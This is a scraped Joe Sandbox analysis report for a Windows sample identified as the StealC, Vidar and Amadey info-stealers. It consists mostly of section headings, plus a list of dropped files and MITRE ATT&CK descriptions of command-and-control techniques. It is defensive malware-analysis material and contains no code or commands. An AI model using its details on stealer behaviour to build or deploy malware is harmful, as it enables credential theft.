Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1jPL5zru3u.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJEGCFBGDHJJJJJKJECFCFCAA

C:\ProgramData\DBKFHCFBGIIJKFHJDHDH

C:\ProgramData\DGDBKFBAKFBFHIECFBFI

C:\ProgramData\DGHDHIDGHIDGIECBKKJJJEHCFC

C:\ProgramData\GCGHJEBG

C:\ProgramData\IIJDBAKKKFBFHIDGIIEH

C:\ProgramData\JJKEBGHJ

C:\ProgramData\KKFBAAFCGIEGDHIEBFIIECAAKF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
1jPL5zru3u.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre